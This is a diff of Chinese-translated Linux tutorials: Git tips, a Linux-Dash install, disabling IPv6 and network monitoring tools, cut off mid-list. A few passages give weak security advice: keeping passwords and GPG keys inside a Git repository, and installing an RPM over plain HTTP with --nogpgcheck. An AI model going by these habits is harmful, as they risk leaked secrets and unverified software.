+这样这个目标文件就已经保存到数据库中了,但是如果你没有设定一个指向它的指针的话它会被当做垃圾回收。最简单的方式是设定一个标签: + + $ git tag myfile 51fc03a9bb365fae74fd2bf66517b30bf48020cb + +注意这里我们使用了标签myfile。当我们需要使用这个文件的时候可以这样做: + + $ git cat-file blob myfile + +这个对于一些工具文件很有用,开发者可能会用到(密码,GPG密钥,等等)但是又不希望每次都检出到硬盘(尤其是在实际工作中)。 + +### 日志以及有哪些改动? ### + +#### 13. 查看日志 #### + +长时间使用 Git 的话,不会没用过‘git log’来查看最近的提交。不过,有一些技巧来更好地应用。比如,你可以使用下面的命令来查看每次提交的具体改动: + + $ git log -p + +或者你可以仅仅查看有哪些文件改动: + + $ git log --stat + +有个很不错的别名你可以试试,会显示简短提交名和一个不错的分支图并在一行里显示提交信息(有点像gitk,但是是在命令行下): + + $ git config --global alias.lol "log --pretty=oneline --abbrev-commit --graph --decorate" + $ git lol + * 4d2409a (master) Oops, meant that to be in Korean + * 169b845 Hello world + +#### 14. 搜索日志 #### + +如果你想找特定提交者可以这样做: + + $ git log --author=Andy + +更新:感谢Johannes的评论,我已经去掉了之前这里的一些有混淆的地方。 + +或者你想在提交信息里找一些相关字段: + + $ git log --grep="Something in the message" + +也有一个更强大的叫做pickaxe的命令用来查找包含了删除或添加的某个特定内容的提交(比如,该内容第一次出现或被删除)。这可以告诉你什么时候增加了一行(但这一行里的某个字符后面被改动过就不行了): + + $ git log -S "TODO: Check for admin status" + +假如你改动了一个特定的文件,比如`lib/foo.rb` + + $ git log lib/foo.rb + +比如说你有一个`feature/132`分支和`feature/145`分支,然后你想看看这两个分支上不在master分支里的提交(注意^符号是不在的意思): + + $ git log feature/132 feature/145 ^master + +你也可以使用ActiveSupport格式的日期来缩小到某个日期范围: + + $ git log --since=2.months.ago --until=1.day.ago + +默认情况下会用OR来组合查询,但你可以轻易地改为AND(如果你有超过一条的查询标准) + + $ git log --since=2.months.ago --until=1.day.ago --author=andy -S "something" --all-match + +#### 15. 查看/修改版本 #### + +有很多方式可以用来引用一个版本,看你记得哪个: + + $ git show 12a86bc38 # 根据版本 + $ git show v1.0.1 # 根据标签 + $ git show feature132 # 根据分支名 + $ git show 12a86bc38^ # 一次提交的父节点 + $ git show 12a86bc38~2 # 一次提交的祖父节点 + $ git show feature132@{yesterday} # 时间相关 + $ git show feature132@{2.hours.ago} # 时间相关 + +注意和之前部分有些不同,末尾的^的意思是该提交的父节点 - 开始位置的^的意思是不在这个分支。 + +#### 16. 选择范围 #### + +最简单的方式: + + $ git log origin/master..new + # [old]..[new] - 所有你还没有推送的提交 + +你也可以省略[new],将使用当前的HEAD。 + +### 时光回溯和后悔药 ### + +#### 17. 重置改动 #### + +如果你还没有提交的话可以用下面的命令轻松地取消改动: + + $ git reset HEAD lib/foo.rb + +通常会使用‘unstage’的别名,因为上面的看上去有些不直观。 + + $ git config --global alias.unstage "reset HEAD" + $ git unstage lib/foo.rb + +如果你已经提交了该文件,你可以做两件事 - 如果是最后一次提交你还可以改正: + + $ git commit --amend + +这会取消最后一次提交,把工作分支回退到提交前标记了所有改动的状态,而且提交信息也都准备好可以修改或直接提交。 + +如果你已经提交过多次而且希望全部回退,你可以将分支重置到合适的位置。 + + $ git checkout feature132 + $ git reset --hard HEAD~2 + +如果你实际上希望将分支指向一个完全不同的SHA1(也许你要将一个分支的HEAD替换到另一个分支,或者之后的某次提交)你可以使用下面的较长的方式: + + $ git checkout FOO + $ git reset --hard SHA + +实际上有一个快速的方式(不需要先把你的工作分支切换到FOO再前进到SHA): + + $ git update-ref refs/heads/FOO SHA + +#### 18. 提交到了错误的分支 #### + +好吧,假如说你已经提交到了master,但却应该创建一个叫experimental的主题分支更合适。要移动这些改动,你可以在当前位置创建分支,回退HEAD再检出新分支: + + $ git branch experimental # 创建一个指向当前master的位置的指针 + $ git reset --hard master~3 # 移动master分支的指针到3个版本之前 + $ git checkout experimental + +如果你的改动是在分支的分支的分支上会更复杂。那样你需要做的是将分支基础切换到其他地方: + + $ git branch newtopic STARTPOINT + $ git rebase oldtopic --onto newtopic + +#### 19. 交互式切换基础 #### + +这是一个我之前看过展示却没真正理解过的很赞的功能,现在觉得它就很简单了。假如说你提交了3次但是你希望更改顺序或编辑(或者合并): + + $ git rebase -i master~3 + +然后这会启动你的编辑器并带有一些指令。你所要做的就是修改这些指令来选择/插入/编辑(或者删除)提交和保存/退出。然后在编辑完后你可以用`git rebase --continue`命令来让每一条指令生效。 + +如果你有修改,将会切换到你提交时所处的状态,之后你需要使用命令git commit --amend来编辑。 + +**注意:在rebase的时候千万不要提交 - 只能先添加然后使用参数--continue,--skip或--abort。** + +#### 20. 清理 #### + +如果你提交了一些内容到你的分支(也许你从SVN导入了一些旧仓库),然后你希望把某个文件从历史记录中全部删掉: + + $ git filter-branch --tree-filter 'rm -f *.class' HEAD + +如果你已经推送到origin了,但之后提交了一些垃圾改动,你也可以在推送前在本地系统里这样做: + + $ git filter-branch --tree-filter 'rm -f *.class' origin/master..HEAD + +### 其他技巧 ### + +#### 21. 你查看过的前一个引用 #### + +如果你知道自己之前查看过一个SHA-1,但是随后做了一些重置/回退的操作,你可以使用reflog命令来列出最近查看过的SHA-1记录: + + $ git reflog + $ git log -g # 和上面一样,但是使用'log'格式输出 + +#### 22. 分支命名 #### + +一个可爱的小技巧 - 别忘了分支名并不限于a-z和0-9。名字中可以用/和.将非常方便用来建立伪命名空间或版本,例如: + + $ # 生成版本132的改动历史 + $ git shortlog release/132 ^release/131 + $ # 贴上v1.0.1的标签 + $ git tag v1.0.1 release/132 + +#### 23. 找出谁是凶手 #### + +通常找出来谁改动了某个文件里的某行代码会很有用。实现这个功能的最简单命令是: + + $ git blame FILE + +有时候这些改动来自其他文件(如果你合并了两个文件,或者你移动了某个函数)所以你可以使用下面的命令: + + $ # 显示内容来自哪个文件 + $ git blame -C FILE + +有时候通过点击各个改动然后回到很早很早以前来跟踪改动会很不错。有一个很好的内建GUI命令来做这个: + + $ git gui blame FILE + +#### 24. 数据维护 #### + +通常git不需要经常维护,它把自己照顾的很好。不过,你可以通过下面的命令查看数据统计: + + $ git count-objects -v + +如果占用很多空间的话,你可以选择在你的本地仓库做垃圾回收。这不会影响推送或其他人,却会让一些命令运行更快而且减少空间占用: + + $ git gc + +经常运行完整性检查也很有意义: + + $ git fsck --full + +你也可以在末尾加上`--auto`参数(如果你在服务器上通过crontab经常/每天都运行这个命令的话),然后它只会在必要的时候才执行fsck动作。 + +在检查的时候,看到“dangling”或“unreachable”是正常的,通常这是由回退HEAD或切换基础的结果。而看到“missing”或“sha1 mismatch”就不对了...找专业人士帮忙吧! + +#### 25. 恢复遗失的分支 #### + +如果你使用-D参数删除了experimental分支,可以用下面的命令重新建立: + + $ git branch experimental SHA1_OF_HASH + +如果你最近访问过的话,你通常可以用git reflog来找到SHA1哈希值。 + +另一种方式是使用`git fsck —lost-found`。其中一个dangling的提交就是丢失的HEAD(它只是已删除分支的HEAD,而HEAD^被引用为当前的HEAD所以它并不处于dangling状态) + +### 搞定! ### + +哇,这是我写过的最长的一篇博客,我希望有人能觉得有用。如果你这么觉得,或者你有任何疑问请在评论里留言让我知道... + +-------------------------------------------------------------------------------- + +via: https://www.andyjeffries.co.uk/25-tips-for-intermediate-git-users/ + +作者:[Andy Jeffries][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://www.andyjeffries.co.uk/author/andy-jeffries/ +[1]:http://gitcasts.com/about +[2]:http://www.lvs.co.uk/ diff --git a/published/201505/20150211 Install Linux-Dash (Web Based Monitoring tool) on Ubntu 14.10.md b/published/201505/20150211 Install Linux-Dash (Web Based Monitoring tool) on Ubntu 14.10.md new file mode 100644 index 0000000000..97641f0298 --- /dev/null +++ b/published/201505/20150211 Install Linux-Dash (Web Based Monitoring tool) on Ubntu 14.10.md @@ -0,0 +1,67 @@ +在Ubuntu 14.10上安装基于Web的监控工具:Linux-Dash +================================================================================ + +Linux-Dash是一个用于GNU/Linux机器的,低开销的监控仪表盘。您可以安装试试!Linux Dash的界面提供了您的服务器的所有关键信息的详细视图,可监测的信息包括RAM、磁盘使用率、网络、安装的软件、用户、运行的进程等。所有的信息都被分成几类,您可以通过主页工具栏中的按钮跳到任何一类中。Linux Dash并不是最先进的监测工具,但它十分适合寻找灵活、轻量级、容易部署的应用的用户。 + +### Linux-Dash的功能 ### + +- 使用一个基于Web的漂亮的仪表盘界面来监控服务器信息 +- 实时的按照你的要求监控RAM、负载、运行时间、磁盘配置、用户和许多其他系统状态 +- 支持基于Apache2/niginx + PHP的服务器 +- 通过点击和拖动来重排列控件 +- 支持多种类型的linux服务器 + +### 当前控件列表 ### + +- 通用信息 +- 平均负载 +- RAM +- 磁盘使用量 +- 用户 +- 软件 +- IP +- 网络速率 +- 在线状态 +- 处理器 +- 日志 + +### 在Ubuntu server 14.10上安装Linux-Dash ### + +首先您需要确认您安装了[Ubuntu LAMP server 14.10][1],接下来您需要安装下面的包: + + sudo apt-get install php5-json unzip + +安装这个模块后,需要在apache2中启用该模块,所以您需要使用下面的命令重启apache2服务器: + + sudo service apache2 restart + +现在您需要下载linux-dash的安装包并安装它: + + wget https://github.com/afaqurk/linux-dash/archive/master.zip + + unzip master.zip + + sudo mv linux-dash-master/ /var/www/html/linux-dash-master/ + +接下来您需要使用下面的命令来改变权限: + + sudo chmod 755 /var/www/html/linux-dash-master/ + +现在您便可以访问http://serverip/linux-dash-master/了。您应该会看到类似下面的输出: + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/02/1.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2015/02/2.png) + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/install-linux-dash-web-based-monitoring-tool-on-ubntu-14-10.html + +作者:[ruchi][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://www.ubuntugeek.com/step-by-step-ubuntu-14-10-utopic-unicorn-lamp-server-setup.html diff --git a/published/201505/20150225 Linux FAQs with Answers--How to disable IPv6 on Linux.md b/published/201505/20150225 Linux FAQs with Answers--How to disable IPv6 on Linux.md new file mode 100644 index 0000000000..17c6ccefaa --- /dev/null +++ b/published/201505/20150225 Linux FAQs with Answers--How to disable IPv6 on Linux.md @@ -0,0 +1,148 @@ +Linux有问必答:如何在Linux下禁用IPv6 +================================================================================ +> **问题**:我发现我的一个应用程序在尝试通过IPv6建立连接,但是由于我们本地网络不允许分配IPv6的流量,IPv6连接会超时,应用程序的连接会回退到IPv4,这样就会造成不必要的延迟。由于我目前对IPv6没有任何需求,所以我想在我的Linux主机上禁用IPv6。有什么比较合适的方法呢? + +IPv6被认为是IPv4——互联网上的传统32位地址空间——的替代产品,它用来解决现有IPv4地址空间即将耗尽的问题。然而,由于已经有大量主机、设备用IPv4连接到了互联网上,所以想在一夜之间将它们全部切换到IPv6几乎是不可能的。许多IPv4到IPv6的转换机制(例如:双协议栈、网络隧道、代理) 已经被提出来用来促进IPv6能被采用,并且很多应用也正在进行重写,如我们所提倡的,来增加对IPv6的支持。有一件事情可以确定,就是在可预见的未来里IPv4和IPv6势必将共存。 + +理想情况下,[向IPv6过渡的进程][1]不应该被最终的用户所看见,但是IPv4/IPv6混合环境有时会让你碰到各种源于IPv4和IPv6之间不经意间的相互碰撞的问题。举个例子,你会碰到应用程序超时的问题,比如apt-get或ssh尝试通过IPv6连接失败、DNS服务器意外清空了IPv6的AAAA记录、或者你支持IPv6的设备不兼容你的互联网服务提供商遗留下的IPv4网络,等等等等。 + +当然这不意味着你应该盲目地在你的Linux机器上禁用IPv6。鉴于IPv6许诺的种种好处,作为社会的一份子我们最终还是要充分拥抱它的,但是作为给最终用户进行故障排除过程的一部分,如果IPv6确实是罪魁祸首,那你可以尝试去关闭它。 + +这里有一些让你在Linux中部分(例如:对于某个特定的网络接口)或全部禁用IPv6的小技巧。这些小贴士应该适用于所有主流的Linux发行版包括Ubuntu、Debian、Linux Mint、CentOS、Fedora、RHEL以及Arch Linux。 + +### 查看IPv6在Linux中是否被启用 ### + +所有现代Linux发行版默认都自动启用IPv6。为了能看到IPv6在你的Linux中是否被激活,可以使用ifconfig或ip命令。如果你在输入这些命令之后看到"inet6"字样的输出,那就意味着你的Linux系统启用了IPv6。 + + $ ifconfig + +![](https://farm8.staticflickr.com/7282/16415082398_5fb0920506_b.jpg) + + $ ip addr + +![](https://farm8.staticflickr.com/7290/16415082248_c4e075548b_c.jpg) + +### 临时禁用IPv6 ### + +如果你想要在你的Linux系统上临时关闭IPv6,你可以用 /proc 文件系统。"临时"的意思是我们所做的禁用IPv6的更改在系统重启后将不被保存。IPv6会在你的Linux机器重启后再次被启用。 + +要将一个特定的网络接口禁用IPv6,使用以下命令: + + $ sudo sh -c 'echo 1 > /proc/sys/net/ipv6/conf//disable_ipv6' + +举个例子,将eth0接口禁用IPv6: + + $ sudo sh -c 'echo 1 > /proc/sys/net/ipv6/conf/eth0/disable_ipv6' + +![](https://farm8.staticflickr.com/7288/15982511863_0c1feafe7f_b.jpg) + +重新启用eth0接口的IPv6: + + $ sudo sh -c 'echo 0 > /proc/sys/net/ipv6/conf/eth0/disable_ipv6' + +如果你想要将整个系统所有接口包括回环接口禁用IPv6,使用以下命令: + + $ sudo sh -c 'echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6' + +### 永久禁用IPv6 ### + +以上方法是不能永久禁用IPv6的,你一旦重启系统IPv6还是会被启用。如果你想要永久关闭它,有几个方法你可以试试。 + +#### 方法一 #### + +第一种方法是通过 /etc/sysctl.conf 文件对 /proc 进行永久修改。 + +换句话说,就是用文本编辑器打开 /etc/sysctl.conf 然后添加以下内容: + + # 禁用整个系统所有接口的IPv6 + net.ipv6.conf.all.disable_ipv6 = 1 + + # 禁用某一个指定接口的IPv6(例如:eth0, lo) + net.ipv6.conf.lo.disable_ipv6 = 1 + net.ipv6.conf.eth0.disable_ipv6 = 1 + +在 /etc/sysctl.conf 使这些更改生效,运行以下命令: + + $ sudo sysctl -p /etc/sysctl.conf + +或者直接重启。 + +#### 方法二 #### + +另一个永久禁用IPv6的方法是在开机的时候传递一个必要的内核参数。 + +用文本编辑器打开 /etc/default/grub 并给GRUB_CMDLINE_LINUX变量添加"ipv6.disable=1"。 + + $ sudo vi /etc/default/grub + +---------- + + GRUB_CMDLINE_LINUX="xxxxx ipv6.disable=1" + +上面的"xxxxx"代表任何已有的内核参数,在它后面添加"ipv6.disable=1"。 + +![](https://farm8.staticflickr.com/7286/15982512103_ec5d940e58_b.jpg) + +最后,不要忘记用以下方法保存对GRUB/GRUB2的修改: + +Debian、Ubuntu或Linux Mint系统: + + $ sudo update-grub + +Fedora、CentOS/RHEL系统: + + $ sudo grub2-mkconfig -o /boot/grub2/grub.cfg + +现在只要你重启你的Linux系统,IPv6就会完全被禁用。 + +### 禁用IPv6之后的其它可选步骤 ### + +这里有一些在你禁用IPv6后需要考虑的可选步骤,这是因为当你在内核里禁用IPv6后,其它程序也许仍然会尝试使用IPv6。在大多数情况下,应用程序的这种行为不太会影响到什么,但是出于效率或安全方面的原因,你可以为他们禁用IPv6。 + +#### /etc/hosts #### + +根据你的设置, /etc/hosts 会包含一条或多条IPv6的hosts和它们的地址。用文本编辑器打开 /etc/hosts 并注释掉包含IPv6 hosts的脚本行。 + + $ sudo vi /etc/hosts + +---------- + + # comment these IPv6 hosts + # ::1 ip6-localhost ip6-loopback + # fe00::0 ip6-localnet + # ff00::0 ip6-mcastprefix + # ff02::1 ip6-allnodes + # ff02::2 ip6-allrouters + +#### Network Manager #### + +如果你在用NetworkManager来管理你的网络设置,你可以在NetworkManager里禁用IPv6。在NetworkManager打开wired connection,点击"IPv6 Settings"选项并在"Method"一栏选择"Ignore",保存退出。 + +![](https://farm8.staticflickr.com/7293/16394993017_21917f027b_o.png) + +#### SSH服务 #### + +默认情况下,OpenSSH服务(sshd)会去尝试捆绑IPv4和IPv6的地址。 + +要强制sshd只捆绑IPv4地址,用文本编辑器打开 /etc/ssh/sshd_config 并添加以下行。inet只适用于IPv4,而inet6是适用于IPv6的。 + + $ sudo vi /etc/ssh/sshd_config + +---------- + + AddressFamily inet + +然后重启sshd服务。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/disable-ipv6-linux.html + +作者:[Dan Nanni][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://www.google.com/intl/en/ipv6/statistics.html diff --git a/published/201505/20150227 Bringing a Bunch of Best Known Linux Network Tools.md b/published/201505/20150227 Bringing a Bunch of Best Known Linux Network Tools.md new file mode 100644 index 0000000000..892ba048d0 --- /dev/null +++ b/published/201505/20150227 Bringing a Bunch of Best Known Linux Network Tools.md @@ -0,0 +1,457 @@ +一大波你可能不知道的 Linux 网络工具 +================================================================================ +如果要在你的系统上监控网络,那么使用命令行工具是非常实用的,并且对于 Linux 用户来说,有着许许多多现成的工具可以使用,如: nethogs, ntopng, nload, iftop, iptraf, bmon, slurm, tcptrack, cbm, netwatch, collectl, trafshow, cacti, etherape, ipband, jnettop, netspeed 以及 speedometer。 + +鉴于世上有着许多的 Linux 专家和开发者,显然还存在其他的网络监控工具,但在这篇教程中,我不打算将它们所有包括在内。 + +上面列出的工具都有着自己的独特之处,但归根结底,它们都做着监控网络流量的工作,只是通过各种不同的方法。例如 nethogs 可以被用来展示每个进程的带宽使用情况,以防你想知道究竟是哪个应用在消耗了你的整个网络资源; iftop 可以被用来展示每个套接字连接的带宽使用情况,而像 nload 这类的工具可以帮助你得到有关整个带宽的信息。 + +### 1) nethogs ### + +nethogs 是一个免费的工具,当要查找哪个 PID (注:即 process identifier,进程 ID) 给你的网络流量带来了麻烦时,它是非常方便的。它按每个进程来分组带宽,而不是像大多数的工具那样按照每个协议或每个子网来划分流量。它功能丰富,同时支持 IPv4 和 IPv6,并且我认为,若你想在你的 Linux 主机上确定哪个程序正消耗着你的全部带宽,它是来做这件事的最佳的程序。 + +一个 Linux 用户可以使用 **nethogs** 来显示每个进程的 TCP 下载和上传速率,可以使用命令 **nethogs eth0** 来监控一个指定的设备,上面的 eth0 是那个你想获取信息的设备的名称,你还可以得到有关正在传输的数据的传输速率信息。 + +对我而言, nethogs 是非常容易使用的,或许是因为我非常喜欢它,以至于我总是在我的 Ubuntu 12.04 LTS 机器中使用它来监控我的网络带宽。 + +例如要想使用混杂模式来嗅探,可以像下面展示的命令那样使用选项 -p: + + nethogs -p wlan0 + +假如你想更多地了解 nethogs 并深入探索它,那么请毫不犹豫地阅读我们做的关于这个网络带宽监控工具的整个教程。 + +(LCTT 译注:关于 nethogs 的更多信息可以参考:https://linux.cn/article-2808-1.html ) + +### 2) nload ### + +nload 是一个控制台应用,可以被用来实时地监控网络流量和带宽使用情况,它还通过提供两个简单易懂的图表来对流量进行可视化。这个绝妙的网络监控工具还可以在监控过程中切换被监控的设备,而这可以通过按左右箭头来完成。 + +![network monitoring tools in linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload8.png) + +正如你在上面的截图中所看到的那样,由 nload 提供的图表是非常容易理解的。nload 提供了有用的信息,也展示了诸如被传输数据的总量和最小/最大网络速率等信息。 + +而更酷的是你只需要直接运行 nload 这个工具就行,这个命令是非常的短小且易记的: + + nload + +我很确信的是:我们关于如何使用 nload 的详细教程将帮助到新的 Linux 用户,甚至可以帮助那些正寻找关于 nload 信息的老手。 + +(LCTT 译注:关于 nload 的更新信息可以参考:https://linux.cn/article-5114-1.html ) + +### 3) slurm ### + +slurm 是另一个 Linux 网络负载监控工具,它以一个不错的 ASCII 图来显示结果,它还支持许多按键用以交互,例如 **c** 用来切换到经典模式, **s** 切换到分图模式, **r** 用来重绘屏幕, **L** 用来启用 TX/RX 灯(注:TX,发送流量;RX,接收流量) ,**m** 用来在经典分图模式和大图模式之间进行切换, **q** 退出 slurm。 + +![linux network load monitoring tools](http://blog.linoxide.com/wp-content/uploads/2013/12/slurm2.png) + +在网络负载监控工具 slurm 中,还有许多其它的按键可用,你可以很容易地使用下面的命令在 man 手册中学习它们。 + + man slurm + +slurm 在 Ubuntu 和 Debian 的官方软件仓库中可以找到,所以使用这些发行版本的用户可以像下面展示的那样,使用 apt-get 安装命令来轻松地下载它: + + sudo apt-get install slurm + +我们已经在一个[教程](http://linoxide.com/ubuntu-how-to/monitor-network-load-slurm-tool/)中对 slurm 的使用做了介绍,不要忘记和其它使用 Linux 的朋友分享这些知识。 + +### 4) iftop ### + +当你想显示连接到网卡上的各个主机的带宽使用情况时,iftop 是一个非常有用的工具。根据 man 手册,**iftop** 在一个指定的接口或在它可以找到的第一个接口(假如没有任何特殊情况,它应该是一个对外的接口)上监听网络流量,并且展示出一个表格来显示当前的一对主机间的带宽使用情况。 + +通过在虚拟终端中使用下面的命令,Ubuntu 和 Debian 用户可以在他们的机器中轻易地安装 iftop: + + sudo apt-get install iftop + +在你的机器上,可以使用下面的命令通过 yum 来安装 iftop: + + yum -y install iftop + +(LCTT 译注:关于 nload 的更多信息请参考:https://linux.cn/article-1843-1.html ) + +### 5) collectl ### + +collectl 可以被用来收集描述当前系统状态的数据,并且它支持如下两种模式: + +- 记录模式 +- 回放模式 + +**记录模式** 允许从一个正在运行的系统中读取数据,然后将这些数据要么显示在终端中,要么写入一个或多个文件或一个套接字中。 + +**回放模式** + +根据 man 手册,在这种模式下,数据从一个或多个由记录模式生成的数据文件中读取。 + +Ubuntu 和 Debian 用户可以在他们的机器上使用他们默认的包管理器来安装 colletcl。下面的命令将为他们做这个工作: + + sudo apt-get install collectl + +还可以使用下面的命令来安装 collectl, 因为对于这些发行版本(注:这里指的是用 yum 作为包管理器的发行版本),在它们官方的软件仓库中也含有 collectl: + + yum install collectl + +(LCTT 译注:关于 collectl 的更多信息请参考: https://linux.cn/article-3154-1.html ) + +### 6) Netstat ### + +Netstat 是一个用来监控**传入和传出的网络数据包统计数据**的接口统计数据命令行工具。它会显示 TCP 连接 (包括上传和下行),路由表,及一系列的网络接口(网卡或者SDN接口)和网络协议统计数据。 + +Ubuntu 和 Debian 用户可以在他们的机器上使用默认的包管理器来安装 netstat。Netsta 软件被包括在 net-tools 软件包中,并可以在 shell 或虚拟终端中运行下面的命令来安装它: + + sudo apt-get install net-tools + +CentOS, Fedora, RHEL 用户可以在他们的机器上使用默认的包管理器来安装 netstat。Netstat 软件被包括在 net-tools 软件包中,并可以在 shell 或虚拟终端中运行下面的命令来安装它: + + yum install net-tools + +运行下面的命令使用 Netstat 来轻松地监控网络数据包统计数据: + + netstat + +![Netstat](http://blog.linoxide.com/wp-content/uploads/2015/02/netstat.png) + +更多的关于 netstat 的信息,我们可以简单地在 shell 或终端中键入 man netstat 来了解: + + man netstat + +![man netstat](http://blog.linoxide.com/wp-content/uploads/2015/02/man-netstat.png) + +(LCTT 译注:关于 netstat 的更多信息请参考:https://linux.cn/article-2434-1.html ) + +### 7) Netload ### + +netload 命令只展示一个关于当前网络荷载和自从程序运行之后传输数据总的字节数目的简要报告,它没有更多的功能。它是 netdiag 软件的一部分。 + +我们可以在 fedora 中使用 yum 来安装 Netload,因为它在 fedora 的默认软件仓库中。但假如你运行的是 CentOS 或 RHEL,则我们需要安装 [rpmforge 软件仓库][1]。 + + # yum install netdiag + +Netload 是默认仓库中 netdiag 的一部分,我们可以轻易地使用下面的命令来利用 **apt** 包管理器安装 **netdiag**: + + $ sudo apt-get install netdiag + +为了运行 netload,我们需要确保选择了一个正在工作的网络接口的名称,如 eth0, eh1, wlan0, mon0等,然后在 shell 或虚拟终端中运行下面的命令: + + $ netload wlan2 + +注意: 请将上面的 wlan2 替换为你想使用的网络接口名称,假如你想通过扫描了解你的网络接口名称,可以在一个虚拟终端或 shell 中运行 `ip link show` 命令。 + +### 8) Nagios ### + +Nagios 是一个领先且功能强大的开源监控系统,它使得网络或系统管理员可以在服务器的各种问题影响到服务器的主要事务之前,发现并解决这些问题。 有了 Nagios 系统,管理员便可以在一个单一的窗口中监控远程的 Linux 、Windows 系统、交换机、路由器和打印机等。它会显示出重要的警告并指出在你的网络或服务器中是否出现某些故障,这可以间接地帮助你在问题发生前就着手执行补救行动。 + +Nagios 有一个 web 界面,其中有一个图形化的活动监视器。通过浏览网页 http://localhost/nagios/ 或 http://localhost/nagios3/ 便可以登录到这个 web 界面。假如你在远程的机器上进行操作,请使用你的 IP 地址来替换 localhost,然后键入用户名和密码,我们便会看到如下图所展示的信息: + +![在 Chromium 浏览器中的 Nagios3](http://blog.linoxide.com/wp-content/uploads/2015/02/nagios3-ubuntu.png) + +(LCTT 译注:关于 Nagios 的更多信息请参考:https://linux.cn/article-2436-1.html ) + +### 9) EtherApe ### + +EtherApe 是一个针对 Unix 的图形化网络监控工具,它仿照了 etherman 软件。它支持链路层、IP 和 TCP 等模式,并支持以太网, FDDI, 令牌环, ISDN, PPP, SLIP 及 WLAN 设备等接口,以及一些封装格式。主机和连接随着流量和协议而改变其尺寸和颜色。它可以过滤要展示的流量,并可从一个文件或运行的网络中读取数据包。 + +在 CentOS、Fedora、RHEL 等 Linux 发行版本中安装 etherape 是一件容易的事,因为在它们的官方软件仓库中就可以找到 etherape。我们可以像下面展示的命令那样使用 yum 包管理器来安装它: + + yum install etherape + +我们也可以使用下面的命令在 Ubuntu、Debian 及它们的衍生发行版本中使用 **apt** 包管理器来安装 EtherApe : + + sudo apt-get install etherape + +在 EtherApe 安装到你的系统之后,我们需要像下面那样以 root 权限来运行 etherape: + + sudo etherape + +然后, **etherape** 的 **图形用户界面** 便会被执行。接着,在菜单上面的 **捕捉** 选项下,我们可以选择 **模式**(IP,链路层,TCP) 和 **接口**。一切设定完毕后,我们需要点击 **开始** 按钮。接着我们便会看到类似下面截图的东西: + +![EtherApe](http://blog.linoxide.com/wp-content/uploads/2015/02/etherape.png) + +### 10) tcpflow ### + +tcpflow 是一个命令行工具,它可以捕捉 TCP 连接(流)的部分传输数据,并以一种方便协议分析或除错的方式来存储数据。它重构了实际的数据流并将每个流存储在不同的文件中,以备日后的分析。它能识别 TCP 序列号并可以正确地重构数据流,不管是在重发还是乱序发送状态下。 + +通过 **apt** 包管理器在 Ubuntu 、Debian 系统中安装 tcpflow 是很容易的,因为默认情况下在官方软件仓库中可以找到它。 + + $ sudo apt-get install tcpflow + +我们可以使用下面的命令通过 **yum** 包管理器在 Fedora 、CentOS 、RHEL 及它们的衍生发行版本中安装 tcpflow: + + # yum install tcpflow + +假如在软件仓库中没有找到它或不能通过 yum 包管理器来安装它,则我们需要像下面展示的那样从 **http://pkgs.repoforge.org/tcpflow/** 上手动安装它: + +假如你运行 64 位的 PC: + + # yum install --nogpgcheck http://pkgs.repoforge.org/tcpflow/tcpflow-0.21-1.2.el6.rf.x86_64.rpm + +假如你运行 32 位的 PC: + + # yum install --nogpgcheck http://pkgs.repoforge.org/tcpflow/tcpflow-0.21-1.2.el6.rf.i686.rpm + +我们可以使用 tcpflow 来捕捉全部或部分 tcp 流量,并以一种简单的方式把它们写到一个可读的文件中。下面的命令就可以完成这个事情,但我们需要在一个空目录中运行下面的命令,因为它将创建诸如 x.x.x.x.y-a.a.a.a.z 格式的文件,运行之后,只需按 Ctrl-C 便可停止这个命令。 + + $ sudo tcpflow -i eth0 port 8000 + +注意:请将上面的 eth0 替换为你想捕捉的网卡接口名称。 + +### 11) IPTraf ### + +[IPTraf][2] 是一个针对 Linux 平台的基于控制台的网络统计应用。它生成一系列的图形,如 TCP 连接的包/字节计数、接口信息和活动指示器、 TCP/UDP 流量故障以及局域网内设备的包/字节计数。 + +在默认的软件仓库中可以找到 IPTraf,所以我们可以使用下面的命令通过 **apt** 包管理器轻松地安装 IPTraf: + + $ sudo apt-get install iptraf + +我们可以使用下面的命令通过 **yum** 包管理器轻松地安装 IPTraf: + + # yum install iptraf + +我们需要以管理员权限来运行 IPTraf,并带有一个有效的网络接口名。这里,我们的网络接口名为 wlan2,所以我们使用 wlan2 来作为参数: + + $ sudo iptraf wlan2 + +![IPTraf](http://blog.linoxide.com/wp-content/uploads/2015/02/iptraf.png) + +开始通常的网络接口统计,键入: + + # iptraf -g + +查看接口 eth0 的详细统计信息,使用: + + # iptraf -d eth0 + +查看接口 eth0 的 TCP 和 UDP 监控信息,使用: + + # iptraf -z eth0 + +查看接口 eth0 的包的大小和数目,使用: + + # iptraf -z eth0 + +注意:请将上面的 eth0 替换为你的接口名称。你可以通过运行`ip link show`命令来检查你的接口。 + +(LCTT 译注:关于 iptraf 的更多详细信息请参考:https://linux.cn/article-5430-1.html ) + +### 12) Speedometer ### + +Speedometer 是一个小巧且简单的工具,它只用来绘出一幅包含有通过某个给定端口的上行、下行流量的好看的图。 + +在默认的软件仓库中可以找到 Speedometer ,所以我们可以使用下面的命令通过 **yum** 包管理器轻松地安装 Speedometer: + + # yum install speedometer + +我们可以使用下面的命令通过 **apt** 包管理器轻松地安装 Speedometer: + + $ sudo apt-get install speedometer + +Speedometer 可以简单地通过在 shell 或虚拟终端中执行下面的命令来运行: + + $ speedometer -r wlan2 -t wlan2 + +![Speedometer](http://blog.linoxide.com/wp-content/uploads/2015/02/Speedometer.png) + +注:请将上面的 wlan2 替换为你想要使用的网络接口名称。 + +### 13) Netwatch ### + +Netwatch 是 netdiag 